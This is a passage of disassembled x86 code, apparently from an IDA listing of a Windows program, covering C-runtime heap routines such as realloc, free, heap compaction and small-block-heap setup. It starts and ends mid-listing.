-4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00425DDC SIZE 000000EE BYTES ; FUNCTION CHUNK AT 00425ED5 SIZE 00000068 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EFE0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_425D60 xor eax, eax jmp loc_425F2C ; --------------------------------------------------------------------------- loc_425D60: ; CODE XREF: sub_425D30+27j cmp dword_4E98CC, 3 jnz loc_425E18 push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_426800 add esp, 4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_425DC3 mov [ebp+var_1C], 0 mov ecx, [ebp+arg_4] cmp ecx, dword_4E98EC ja short loc_425DC3 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_20] push ecx call sub_4276E0 add esp, 0Ch test eax, eax jz short loc_425DC3 mov edx, [ebp+arg_0] mov [ebp+var_1C], edx loc_425DC3: ; CODE XREF: sub_425D30+61j ; sub_425D30+73j ... mov [ebp+var_4], 0FFFFFFFFh call sub_425DD1 jmp short loc_425DDC sub_425D30 endp ; =============== S U B R O U T I N E ======================================= sub_425DD1 proc near ; CODE XREF: sub_425D30+9Ap ; DATA XREF: .XComp0:0043EFE8o push 9 call sub_425A30 add esp, 4 retn sub_425DD1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425D30 loc_425DDC: ; CODE XREF: sub_425D30+9Fj cmp [ebp+var_20], 0 jnz short loc_425E13 cmp [ebp+arg_4], 0 jnz short loc_425DEF mov [ebp+arg_4], 1 loc_425DEF: ; CODE XREF: sub_425D30+B6j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4E98C8 push eax nop call near ptr 2960000h mov [ebp+var_1C], eax loc_425E13: ; CODE XREF: sub_425D30+B0j jmp loc_425F29 ; --------------------------------------------------------------------------- loc_425E18: ; CODE XREF: sub_425D30+37j cmp dword_4E98CC, 2 jnz loc_425EF6 cmp [ebp+arg_4], 0 jnz short loc_425E32 mov [ebp+arg_4], 1 loc_425E32: ; CODE XREF: sub_425D30+F9j mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_24] push edx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx call sub_428820 add esp, 0Ch mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_425EBC mov [ebp+var_1C], 0 mov edx, [ebp+arg_4] cmp edx, dword_4522DC ja short loc_425EA3 mov eax, [ebp+arg_4] shr eax, 4 push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_2C] push eax call sub_428F90 add esp, 10h test eax, eax jz short loc_425EA3 mov ecx, [ebp+arg_0] mov [ebp+var_1C], ecx loc_425EA3: ; CODE XREF: sub_425D30+14Cj ; sub_425D30+16Bj push 0FFFFFFFFh mov edx, [ebp+var_1C] mov [ebp+var_30], edx lea eax, [ebp+var_10] push eax call sub_4236D2 add esp, 8 mov eax, [ebp+var_30] jmp short loc_425F2C ; --------------------------------------------------------------------------- loc_425EBC: ; CODE XREF: sub_425D30+13Aj mov [ebp+var_4], 0FFFFFFFFh call sub_425ECA jmp short loc_425ED5 ; END OF FUNCTION CHUNK FOR sub_425D30 ; =============== S U B R O U T I N E ======================================= sub_425ECA proc near ; CODE XREF: sub_425D30+193p push 9 call sub_425A30 add esp, 4 retn sub_425ECA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425D30 loc_425ED5: ; CODE XREF: sub_425D30+198j cmp [ebp+var_28], 0 jnz short loc_425EF4 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4E98C8 push eax nop call near ptr 2960000h mov [ebp+var_1C], eax loc_425EF4: ; CODE XREF: sub_425D30+1A9j jmp short loc_425F29 ; --------------------------------------------------------------------------- loc_425EF6: ; CODE XREF: sub_425D30+EFj cmp [ebp+arg_4], 0 jnz short loc_425F03 mov [ebp+arg_4], 1 loc_425F03: ; CODE XREF: sub_425D30+1CAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 10h mov ecx, dword_4E98C8 push ecx nop call near ptr 2960000h mov [ebp+var_1C], eax loc_425F29: ; CODE XREF: sub_425D30:loc_425E13j ; sub_425D30:loc_425EF4j mov eax, [ebp+var_1C] loc_425F2C: ; CODE XREF: sub_425D30+2Bj ; sub_425D30+18Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_425D30 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F40 proc near ; CODE XREF: sub_41F350+2AFp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00426113 SIZE 0000020C BYTES ; FUNCTION CHUNK AT 0042632A SIZE 000000A9 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EFF8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_1C], eax cmp [ebp+arg_0], 0 jnz short loc_425F80 mov ecx, [ebp+arg_4] push ecx call sub_425B50 add esp, 4 jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_425F80: ; CODE XREF: sub_425F40+2Dj cmp [ebp+arg_4], 0 jnz short loc_425F99 mov edx, [ebp+arg_0] push edx call sub_4263E0 add esp, 4 xor eax, eax jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_425F99: ; CODE XREF: sub_425F40+44j cmp dword_4E98CC, 3 jnz loc_42617F loc_425FA6: ; CODE XREF: sub_425F40:loc_42617Aj mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_42614C push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_426800 add esp, 4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_4260FA mov ecx, [ebp+arg_4] cmp ecx, dword_4E98EC ja loc_42607A mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_28] push ecx call sub_4276E0 add esp, 0Ch test eax, eax jz short loc_426010 mov edx, [ebp+arg_0] mov [ebp+var_24], edx jmp short loc_42607A ; --------------------------------------------------------------------------- loc_426010: ; CODE XREF: sub_425F40+C6j mov eax, [ebp+arg_4] push eax call sub_426EA0 add esp, 4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_42607A mov ecx, [ebp+arg_0] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, [ebp+arg_4] jnb short loc_426041 mov ecx, [ebp+var_20] mov [ebp+var_3C], ecx jmp short loc_426047 ; --------------------------------------------------------------------------- loc_426041: ; CODE XREF: sub_425F40+F7j mov edx, [ebp+arg_4] mov [ebp+var_3C], edx loc_426047: ; CODE XREF: sub_425F40+FFj mov eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_24] push edx call sub_422B50 add esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_426800 add esp, 4 mov [ebp+var_28], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28] push edx call sub_4268C0 add esp, 8 loc_42607A: ; CODE XREF: sub_425F40+AAj ; sub_425F40+CEj ... cmp [ebp+var_24], 0 jnz short loc_4260FA cmp [ebp+arg_4], 0 jnz short loc_42608D mov [ebp+arg_4], 1 loc_42608D: ; CODE XREF: sub_425F40+144j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4E98C8 push edx nop call near ptr 2950000h mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4260FA mov eax, [ebp+arg_0] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_20] cmp edx, [ebp+arg_4] jnb short loc_4260D0 mov eax, [ebp+var_20] mov [ebp+var_40], eax jmp short loc_4260D6 ; --------------------------------------------------------------------------- loc_4260D0: ; CODE XREF: sub_425F40+186j mov ecx, [ebp+arg_4] mov [ebp+var_40], ecx loc_4260D6: ; CODE XREF: sub_425F40+18Ej mov edx, [ebp+var_40] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_24] push ecx call sub_422B50 add esp, 0Ch mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_28] push eax call sub_4268C0 add esp, 8 loc_4260FA: ; CODE XREF: sub_425F40+9Bj ; sub_425F40+13Ej ... mov [ebp+var_4], 0FFFFFFFFh call sub_426108 jmp short loc_426113 sub_425F40 endp ; =============== S U B R O U T I N E ======================================= sub_426108 proc near ; CODE XREF: sub_425F40+1C1p ; DATA XREF: .XComp0:0043F000o push 9 call sub_425A30 add esp, 4 retn sub_426108 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F40 loc_426113: ; CODE XREF: sub_425F40+1C6j cmp [ebp+var_28], 0 jnz short loc_42614C cmp [ebp+arg_4], 0 jnz short loc_426126 mov [ebp+arg_4], 1 loc_426126: ; CODE XREF: sub_425F40+1DDj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4E98C8 push ecx nop call near ptr 2960000h mov [ebp+var_24], eax loc_42614C: ; CODE XREF: sub_425F40+71j ; sub_425F40+1D7j cmp [ebp+var_24], 0 jnz short loc_42615B cmp dword_4E9258, 0 jnz short loc_426163 loc_42615B: ; CODE XREF: sub_425F40+210j mov eax, [ebp+var_24] jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_426163: ; CODE XREF: sub_425F40+219j mov edx, [ebp+arg_4] push edx call sub_425880 add esp, 4 test eax, eax jnz short loc_42617A xor eax, eax jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_42617A: ; CODE XREF: sub_425F40+231j jmp loc_425FA6 ; --------------------------------------------------------------------------- loc_42617F: ; CODE XREF: sub_425F40+60j cmp dword_4E98CC, 2 jnz loc_42635A cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_4261AC cmp [ebp+arg_4], 0 jbe short loc_4261A5 mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax jmp short loc_4261AC ; --------------------------------------------------------------------------- loc_4261A5: ; CODE XREF: sub_425F40+256j mov [ebp+arg_4], 10h loc_4261AC: ; CODE XREF: sub_425F40+250j ; sub_425F40+263j ... mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_42632A push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 1 lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_38] push edx mov eax, [ebp+arg_0] push eax call sub_428820 add esp, 0Ch mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz loc_4262F7 mov ecx, [ebp+arg_4] cmp ecx, dword_4522DC jnb loc_426288 mov edx, [ebp+arg_4] shr edx, 4 push edx mov eax, [ebp+var_30] push eax mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_38] push edx call sub_428F90 add esp, 10h test eax, eax jz short loc_426225 mov eax, [ebp+arg_0] mov [ebp+var_24], eax jmp short loc_426288 ; --------------------------------------------------------------------------- loc_426225: ; CODE XREF: sub_425F40+2DBj mov ecx, [ebp+arg_4] shr ecx, 4 push ecx call sub_428920 add esp, 4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_426288 mov edx, [ebp+var_30] xor eax, eax mov al, [edx] shl eax, 4 mov [ebp+var_34], eax mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_4] jnb short loc_42625A mov edx, [ebp+var_34] mov [ebp+var_44], edx jmp short loc_426260 ; --------------------------------------------------------------------------- loc_42625A: ; CODE XREF: sub_425F40+310j mov eax, [ebp+arg_4] mov [ebp+var_44], eax loc_426260: ; CODE XREF: sub_425F40+318j mov ecx, [ebp+var_44] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax call sub_422B50 add esp, 0Ch mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_38] push eax call sub_4288B0 add esp, 0Ch loc_426288: ; CODE XREF: sub_425F40+2B8j ; sub_425F40+2E3j ... cmp [ebp+var_24], 0 jnz short loc_4262F5 mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4E98C8 push edx call near ptr 2950000h nop mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4262F5 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] shl ecx, 4 mov [ebp+var_34], ecx mov edx, [ebp+var_34] cmp edx, [ebp+arg_4] jnb short loc_4262C7 mov eax, [ebp+var_34] mov [ebp+var_48], eax jmp short loc_4262CD ; --------------------------------------------------------------------------- loc_4262C7: ; CODE XREF: sub_425F40+37Dj mov ecx, [ebp+arg_4] mov [ebp+var_48], ecx loc_4262CD: ; CODE XREF: sub_425F40+385j mov edx, [ebp+var_48] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_24] push ecx call sub_422B50 add esp, 0Ch mov edx, [ebp+var_30] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_38] push ecx call sub_4288B0 add esp, 0Ch loc_4262F5: ; CODE XREF: sub_425F40+34Cj ; sub_425F40+368j jmp short loc_426311 ; --------------------------------------------------------------------------- loc_4262F7: ; CODE XREF: sub_425F40+2A9j mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4E98C8 push ecx nop call near ptr 2960000h mov [ebp+var_24], eax loc_426311: ; CODE XREF: sub_425F40:loc_4262F5j mov [ebp+var_4], 0FFFFFFFFh call sub_42631F jmp short loc_42632A ; END OF FUNCTION CHUNK FOR sub_425F40 ; =============== S U B R O U T I N E ======================================= sub_42631F proc near ; CODE XREF: sub_425F40+3D8p ; DATA XREF: .XComp0:0043F00Co push 9 call sub_425A30 add esp, 4 retn sub_42631F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F40 loc_42632A: ; CODE XREF: sub_425F40+277j ; sub_425F40+3DDj cmp [ebp+var_24], 0 jnz short loc_426339 cmp dword_4E9258, 0 jnz short loc_426341 loc_426339: ; CODE XREF: sub_425F40+3EEj mov eax, [ebp+var_24] jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_426341: ; CODE XREF: sub_425F40+3F7j mov edx, [ebp+arg_4] push edx call sub_425880 add esp, 4 test eax, eax jnz short loc_426355 xor eax, eax jmp short loc_4263C2 ; --------------------------------------------------------------------------- loc_426355: ; CODE XREF: sub_425F40+40Fj jmp loc_4261AC ; --------------------------------------------------------------------------- loc_42635A: ; CODE XREF: sub_425F40+246j ; sub_425F40:loc_4263C0j mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_426398 cmp [ebp+arg_4], 0 jnz short loc_426374 mov [ebp+arg_4], 1 loc_426374: ; CODE XREF: sub_425F40+42Bj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4E98C8 push eax call near ptr 2960000h nop mov [ebp+var_24], eax loc_426398: ; CODE XREF: sub_425F40+425j cmp [ebp+var_24], 0 jnz short loc_4263A7 cmp dword_4E9258, 0 jnz short loc_4263AC loc_4263A7: ; CODE XREF: sub_425F40+45Cj mov eax, [ebp+var_24] jmp short loc_4263C2 ; --------------------------------------------------------------------------- loc_4263AC: ; CODE XREF: sub_425F40+465j mov ecx, [ebp+arg_4] push ecx call sub_425880 add esp, 4 test eax, eax jnz short loc_4263C0 xor eax, eax jmp short loc_4263C2 ; --------------------------------------------------------------------------- loc_4263C0: ; CODE XREF: sub_425F40+47Aj jmp short loc_42635A ; --------------------------------------------------------------------------- loc_4263C2: ; CODE XREF: sub_425F40+3Bj ; sub_425F40+54j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_425F40 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263E0 proc near ; CODE XREF: sub_41F9E0+26Ep ; sub_41F9E0+3B2p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00426466 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 004264E8 SIZE 0000003E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F010 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_42640E jmp loc_426515 ; --------------------------------------------------------------------------- loc_42640E: ; CODE XREF: sub_4263E0+27j cmp dword_4E98CC, 3 jnz short loc_426484 push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_426800 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_42644D mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1C] push edx call sub_4268C0 add esp, 8 loc_42644D: ; CODE XREF: sub_4263E0+5Bj mov [ebp+var_4], 0FFFFFFFFh call sub_42645B jmp short loc_426466 sub_4263E0 endp ; =============== S U B R O U T I N E ======================================= sub_42645B proc near ; CODE XREF: sub_4263E0+74p ; DATA XREF: .XComp0:0043F018o push 9 call sub_425A30 add esp, 4 retn sub_42645B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E0 loc_426466: ; CODE XREF: sub_4263E0+79j cmp [ebp+var_1C], 0 jnz short loc_42647F mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4E98C8 push ecx nop call near ptr 2970000h loc_42647F: ; CODE XREF: sub_4263E0+8Aj jmp loc_426515 ; --------------------------------------------------------------------------- loc_426484: ; CODE XREF: sub_4263E0+35j cmp dword_4E98CC, 2 jnz short loc_426502 push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax mov ecx, [ebp+arg_0] push ecx call sub_428820 add esp, 0Ch mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4264CF mov edx, [ebp+var_24] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+var_28] push ecx call sub_4288B0 add esp, 0Ch loc_4264CF: ; CODE XREF: sub_4263E0+D9j mov [ebp+var_4], 0FFFFFFFFh call sub_4264DD jmp short loc_4264E8 ; END OF FUNCTION CHUNK FOR sub_4263E0 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4263E0+F6p ; DATA XREF: .XComp0:0043F024o push 9 call sub_425A30 add esp, 4 retn sub_4264DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E0 loc_4264E8: ; CODE XREF: sub_4263E0+FBj cmp [ebp+var_24], 0 jnz short loc_426500 mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4E98C8 push eax nop call near ptr 2970000h loc_426500: ; CODE XREF: sub_4263E0+10Cj jmp short loc_426515 ; --------------------------------------------------------------------------- loc_426502: ; CODE XREF: sub_4263E0+ABj mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4E98C8 push edx nop call near ptr 2970000h loc_426515: ; CODE XREF: sub_4263E0+29j ; sub_4263E0:loc_42647Fj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4263E0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426530 proc near ; CODE XREF: sub_420130+4Ap ; .XComp0:00426643p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042659D SIZE 0000003A BYTES ; FUNCTION CHUNK AT 004265E2 SIZE 00000052 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F028 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_1C], 0FFFFFFFEh cmp dword_4E98CC, 3 jnz short loc_42659F push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 call sub_427E00 test eax, eax jge short loc_426584 mov [ebp+var_1C], 0FFFFFFFCh loc_426584: ; CODE XREF: sub_426530+4Bj mov [ebp+var_4], 0FFFFFFFFh call sub_426592 jmp short loc_42659D sub_426530 endp ; =============== S U B R O U T I N E ======================================= sub_426592 proc near ; CODE XREF: sub_426530+5Bp ; DATA XREF: .XComp0:0043F030o push 9 call sub_425A30 add esp, 4 retn sub_426592 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426530 loc_42659D: ; CODE XREF: sub_426530+60j jmp short loc_4265E2 ; --------------------------------------------------------------------------- loc_42659F: ; CODE XREF: sub_426530+31j cmp dword_4E98CC, 2 jnz short loc_4265E2 push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 1 call sub_429100 test eax, eax jge short loc_4265C9 mov [ebp+var_1C], 0FFFFFFFCh loc_4265C9: ; CODE XREF: sub_426530+90j mov [ebp+var_4], 0FFFFFFFFh call sub_4265D7 jmp short loc_4265E2 ; END OF FUNCTION CHUNK FOR sub_426530 ; =============== S U B R O U T I N E ======================================= sub_4265D7 proc near ; CODE XREF: sub_426530+A0p ; DATA XREF: .XComp0:0043F03Co push 9 call sub_425A30 add esp, 4 retn sub_4265D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426530 loc_4265E2: ; CODE XREF: sub_426530:loc_42659Dj ; sub_426530+76j ... push 0 push 0 mov eax, dword_4E98C8 push eax call near ptr 2920000h nop test eax, eax jnz short loc_426620 nop call near ptr 27A0A66h cmp eax, 78h jnz short loc_426619 call sub_42C1F0 mov dword ptr [eax], 78h call sub_42C1E0 mov dword ptr [eax], 28h jmp short loc_426620 ; --------------------------------------------------------------------------- loc_426619: ; CODE XREF: sub_426530+CFj mov [ebp+var_1C], 0FFFFFFFCh loc_426620: ; CODE XREF: sub_426530+C4j ; sub_426530+E7j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426530 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_426530 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4E98CC, 3 jnz short loc_426663 mov eax, dword_4E98EC jmp short loc_426675 ; --------------------------------------------------------------------------- loc_426663: ; CODE XREF: .XComp0:0042665Aj cmp dword_4E98CC, 2 jnz short loc_426673 mov eax, dword_4522DC jmp short loc_426675 ; --------------------------------------------------------------------------- loc_426673: ; CODE XREF: .XComp0:0042666Aj xor eax, eax loc_426675: ; CODE XREF: .XComp0:00426661j ; .XComp0:00426671j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4E98CC, 3 jnz short loc_4266AF cmp dword ptr [ebp+8], 3F8h ja short loc_4266A8 mov eax, [ebp+8] mov dword_4E98EC, eax mov eax, 1 jmp loc_426786 ; --------------------------------------------------------------------------- loc_4266A8: ; CODE XREF: .XComp0:00426694j xor eax, eax jmp loc_426786 ; --------------------------------------------------------------------------- loc_4266AF: ; CODE XREF: .XComp0:0042668Bj cmp dword_4E98CC, 2 jnz short loc_4266E7 mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_4266E0 mov edx, [ebp+8] mov dword_4522DC, edx mov eax, 1 jmp loc_426786 ; --------------------------------------------------------------------------- loc_4266E0: ; CODE XREF: .XComp0:004266CBj xor eax, eax jmp loc_426786 ; --------------------------------------------------------------------------- loc_4266E7: ; CODE XREF: .XComp0:004266B6j cmp dword_4E98CC, 1 jnz loc_426784 cmp dword ptr [ebp+8], 0 jbe loc_426784 lea eax, [ebp-4] push eax call sub_429340 add esp, 4 mov ecx, [ebp-4] and ecx, 0FFh cmp ecx, 6 jl short loc_42674C cmp dword ptr [ebp+8], 3F8h ja short loc_42674A mov edx, [ebp+8] push edx call sub_426790 add esp, 4 test eax, eax jz short loc_42674A mov eax, [ebp+8] mov dword_4E98EC, eax mov dword_4E98CC, 3 mov eax, 1 jmp short loc_426786 ; --------------------------------------------------------------------------- loc_42674A: ; CODE XREF: .XComp0:0042671Fj ; .XComp0:0042672Fj jmp short loc_426784 ; --------------------------------------------------------------------------- loc_42674C: ; CODE XREF: .XComp0:00426716j mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_426784 call sub_428460 test eax, eax jz short loc_426784 mov edx, [ebp+8] mov dword_4522DC, edx mov dword_4E98CC, 2 mov eax, 1 jmp short loc_426786 ; --------------------------------------------------------------------------- loc_426784: ; CODE XREF: .XComp0:004266EEj ; .XComp0:004266F8j ... xor eax, eax loc_426786: ; CODE XREF: .XComp0:004266A3j ; .XComp0:004266AAj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426790 proc near ; CODE XREF: .XComp0:00426725p ; sub_4295D0+44p arg_0 = dword ptr 8 push ebp mov ebp, esp push 140h push 0 mov eax, dword_4E98C8 push eax nop call near ptr 2950000h mov dword_4E98E8, eax cmp dword_4E98E8, 0 jnz short loc_4267B8 xor eax, eax jmp short loc_4267F0 ; --------------------------------------------------------------------------- loc_4267B8: ; CODE XREF: sub_426790+22j mov ecx, [ebp+arg_0] mov dword_4E98EC, ecx mov edx, dword_4E98E8 mov dword_4E98D8, edx mov dword_4E98E0, 0 mov dword_4E98E4, 0 mov dword_4E98D0, 10h mov eax, 1 loc_4267F0: ; CODE XREF: sub_426790+26j pop ebp retn sub_426790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426800 proc near ; CODE XREF: sub_420610+41p ; sub_425D30+52p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4E98E4 imul eax, 14h mov ecx, dword_4E98E8 add ecx, eax mov [ebp+var_C], ecx mov edx, dword_4E98E8 mov [ebp+var_8], edx loc_426822: ; CODE XREF: sub_426800+4Dj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_42684F mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] sub edx, [ecx+0Ch] mov [ebp+var_4], edx cmp [ebp+var_4], 100000h jnb short loc_426844 mov eax, [ebp+var_8] jmp short loc_426851 ; --------------------------------------------------------------------------- loc_426844: ; CODE XREF: sub_426800+3Dj mov eax, [ebp+var_8] add eax, 14h mov [ebp+var_8], eax jmp short loc_426822 ; --------------------------------------------------------------------------- loc_42684F: ; CODE XREF: sub_426800+28j xor eax, eax loc_426851: ; CODE XREF: sub_426800+42j mov esp, ebp pop ebp retn sub_426800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426860 proc near ; CODE XREF: sub_420610+5Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_8], ecx mov edx, [ebp+var_8] shr edx, 0Fh mov [ebp+var_4], edx mov eax, 80000000h mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, eax test edx, edx jnz short loc_4268B1 mov eax, [ebp+var_8] and eax, 0Fh test eax, eax jnz short loc_4268B1 mov ecx, [ebp+var_8] and ecx, 0FFFh test ecx, ecx jz short loc_4268B1 mov [ebp+var_C], 1 jmp short loc_4268B8 ; --------------------------------------------------------------------------- loc_4268B1: ; CODE XREF: 